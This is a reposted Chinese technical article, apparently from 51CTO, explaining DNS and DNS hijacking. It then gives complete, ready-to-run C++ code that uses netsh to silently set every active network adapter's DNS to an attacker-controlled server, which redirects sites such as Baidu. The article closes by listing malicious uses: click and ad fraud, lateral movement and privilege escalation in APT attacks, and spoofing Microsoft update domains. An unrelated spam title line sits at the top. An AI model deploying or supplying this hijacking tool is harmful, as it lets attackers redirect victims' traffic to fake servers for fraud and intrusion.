自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

網(wǎng)絡 通信技術
每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數(shù)點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協(xié)議的功能。

什么是DNS?

每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數(shù)點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協(xié)議的功能。

主機名到IP地址的映射有兩種方式:

1)靜態(tài)映射,每臺設備上都配置主機到IP地址的映射,各設備獨立維護自己的映射表,而且只供本設備使用;

2)動態(tài)映射,建立一套域名解析系統(tǒng)(DNS),只在專門的DNS服務器上配置主機到IP地址的映射,網(wǎng)絡上需要使用主機名通信的設備,首先需要到DNS服務器查詢主機所對應的IP地址。

通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。在解析域名時,可以首先采用靜態(tài)域名解析的方法,如果靜態(tài)域名解析不成功,再采用動態(tài)域名解析的方法。可以將一些常用的域名放入靜態(tài)域名解析表中,這樣可以大大提高域名解析效率

什么是DNS劫持?

DNS劫持又稱域名劫持,是指在劫持的網(wǎng)絡范圍內(nèi)攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則返回假的IP地址或者什么都不做使請求失去響應,其效果就是對特定的網(wǎng)絡不能訪問或訪問的是假網(wǎng)址。

DNS(域名系統(tǒng))的作用是把網(wǎng)絡地址(域名,以一個字符串的形式)對應到真實的計算機能夠識別的網(wǎng)絡地址(IP地址),以便計算機能夠進一步通信,傳遞網(wǎng)址和內(nèi)容等。由于域名劫持往往只能在特定的被劫持的網(wǎng)絡范圍內(nèi)進行,所以在此范圍外的域名服務器(DNS)能夠返回正常的IP地址,高級用戶可以在網(wǎng)絡設置把DNS指向這些正常的域名服務器以實現(xiàn)對網(wǎng)址的正常訪問。所以域名劫持通常相伴的措施——封鎖正常DNS的IP。

程序所需頭文件和命名空間: 

  1. #include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 

獲取本機可用網(wǎng)卡: 

  1. void Get_using_interface() 
  2.       system("netsh interface show interface > interface_info.txt"); 
  3. ​ 
  4.       FILE* fp = fopen("interface_info.txt""rb"); 
  5.       const int file_size = filelength(fileno(fp)); 
  6.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  7.       if (fp) { 
  8.         fread(buff, 1, file_size, fp); 
  9.         str = buff; 
  10.         free(buff); 
  11.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  12.         Split(str, "\r\n", interface_using); 
  13.         Spilt_space(interface_using); 
  14.       } 
  15.     } 
  16. ​ 
  17. void Spilt_space(list<string> list_str) { 
  18.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  19.         cout << *itor << endl; 
  20.         string::size_type first_variable = (*itor).find("已啟用"); 
  21.         string::size_type second_variable = (*itor).find("已連接"); 
  22.         string::size_type third_variable = (*itor).find("專用"); 
  23.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  24.           string info = *itor; 
  25.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  26.         } 
  27.       } 
  28.     } 
  29. ​ 
  30. void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  31.       std::size_t found = S.find(A); 
  32.       while (std::string::npos != found) { 
  33.         S.replace(found, A.length(), B); 
  34.         found = S.find(A, found + 1); 
  35. ​ 
  36. void Split(const string& src, const string& separator, list<string>& dest) 
  37.       string str = src; 
  38.       string substring
  39.       string::size_type start = 0, index
  40.       dest.clear(); 
  41.       index = str.find_first_of(separator, start); 
  42.       do 
  43.       { 
  44.         if (index != string::npos) 
  45.         { 
  46.           substring = str.substr(start, index - start); 
  47.           dest.push_back(substring); 
  48.           start = index + separator.size(); 
  49.           index = str.find(separator, start); 
  50.           if (start == string::npos) break; 
  51.         } 
  52.       } while (index != string::npos); 
  53. ​ 
  54.       //the last part 
  55.       substring = str.substr(start); 
  56.       dest.push_back(substring); 
  57.     } 

構造函數(shù)實現(xiàn): 

  1. DNS_Hijack(string DNS="192.168.1.233"
  2.     { 
  3.       Get_using_interface(); 
  4.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  5.       { 
  6.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  7.         cout << str; 
  8.         system(str.c_str()); 
  9.       } 
  10.     } 

下面我們先直接給出完整代碼方便用戶直接運行查看效果。(記得修改ip地址)​ 

  1. ​#include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 
  8. ​ 
  9. class DNS_Hijack { 
  10.   private: 
  11.     list<string> interface_using;          //獲取本地可用網(wǎng)卡 
  12.     list<string> last_get_interface_using; 
  13.   private:   
  14.     string str;                //存儲文件讀取后的內(nèi)容 
  15.     string DNS; 
  16. ​ 
  17.   private: 
  18.     void Get_using_interface() 
  19.       system("netsh interface show interface > interface_info.txt"); 
  20. ​ 
  21.       FILE* fp = fopen("interface_info.txt""rb"); 
  22.       const int file_size = filelength(fileno(fp)); 
  23.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  24.       if (fp) { 
  25.         fread(buff, 1, file_size, fp); 
  26.         str = buff; 
  27.         free(buff); 
  28.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  29.         Split(str, "\r\n", interface_using); 
  30.         Spilt_space(interface_using); 
  31.       } 
  32.     } 
  33. ​ 
  34.   private: 
  35.     void Spilt_space(list<string> list_str) { 
  36.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  37.         cout << *itor << endl; 
  38.         string::size_type first_variable = (*itor).find("已啟用"); 
  39.         string::size_type second_variable = (*itor).find("已連接"); 
  40.         string::size_type third_variable = (*itor).find("專用"); 
  41.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  42.           string info = *itor; 
  43.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  44.         } 
  45.       } 
  46. ​ 
  47.     } 
  48. ​ 
  49.   private: 
  50.     void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  51.       std::size_t found = S.find(A); 
  52.       while (std::string::npos != found) { 
  53.         S.replace(found, A.length(), B); 
  54.         found = S.find(A, found + 1); 
  55.       } 
  56.   } 
  57. ​ 
  58.   private: 
  59.     void Split(const string& src, const string& separator, list<string>& dest) 
  60.       string str = src; 
  61.       string substring
  62.       string::size_type start = 0, index
  63.       dest.clear(); 
  64.       index = str.find_first_of(separator, start); 
  65.       do 
  66.       { 
  67.         if (index != string::npos) 
  68.         { 
  69.           substring = str.substr(start, index - start); 
  70.           dest.push_back(substring); 
  71.           start = index + separator.size(); 
  72.           index = str.find(separator, start); 
  73.           if (start == string::npos) break; 
  74.         } 
  75.       } while (index != string::npos); 
  76. ​ 
  77.       //the last part 
  78.       substring = str.substr(start); 
  79.       dest.push_back(substring); 
  80.     } 
  81. ​ 
  82.   public
  83.     DNS_Hijack(string DNS="192.168.1.233"
  84.     { 
  85.       Get_using_interface(); 
  86.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  87.       { 
  88.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  89.         cout << str; 
  90.         system(str.c_str()); 
  91.       } 
  92.     } 
  93. ​ 
  94. }; 
  95. ​ 
  96. int main() 
  97.   DNS_Hijack* one = new DNS_Hijack("192.168.1.20"); 
  98.   system("pause"); 
  99.   return 0; 

現(xiàn)在我在虛擬機win2003,ip地址為:192.168.1.20中搭建了一臺DNS服務器,并將所有域名為www.baidu.com的請求都解析到我內(nèi)網(wǎng)中的一臺搭建了Apache服務器上。

這個時候我對www.baidu.com的請求就會通過我內(nèi)網(wǎng)中的DNS服務器解析成我Apache服務器的地址。

也就是說真正的百度的ip我們已經(jīng)無法得到,通過nslookup也可以看出,DNS被劫持。

實驗效果: 

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

部分用途:

  • 我們可以通過這種方法讓用戶訪問特定的URL從而實現(xiàn)惡意刷取網(wǎng)站PE量的效果。
  • 如果網(wǎng)站接入了廣告聯(lián)盟,可以通過這種方法來讓用戶直接看到網(wǎng)站中的廣告。
  • 營銷,推廣等。
  • 可以用于局域網(wǎng)橫向滲透、提權,在APT攻擊中可以有部分體現(xiàn)。(偽造微軟的更新服務器域名。) 

 

責任編輯:未麗燕 來源: 今日頭條
相關推薦

2024-12-13 16:37:56

SpringBootJava

2021-04-28 22:42:36

SaaS軟件技術

2021-02-04 10:12:50

程序員SQLIBM

2014-01-23 10:07:31

移動廣告廣告商banner

2017-05-31 15:06:30

2021-12-28 16:54:03

2020-09-24 06:41:33

通信IT行業(yè)

2014-09-17 14:54:06

2022-06-06 18:25:21

數(shù)據(jù)泄露互聯(lián)網(wǎng)

2015-08-21 09:18:17

大數(shù)據(jù)技術解決問題

2023-08-13 19:45:12

DNS

2022-12-13 07:30:50

APIweb前端

2022-02-10 20:26:06

虛擬元宇宙網(wǎng)絡

2023-08-29 10:09:11

2019-07-23 10:40:58

云計算微服務IT

2020-07-17 19:31:19

PythonR編程

2009-12-14 18:27:21

Linux操作系統(tǒng)

2019-09-26 09:00:31

Java編程語言

2020-11-18 13:24:02

廣告彈窗網(wǎng)信互聯(lián)網(wǎng)

2017-03-29 20:43:32

線上日志磁盤
點贊
收藏

51CTO技術棧公眾號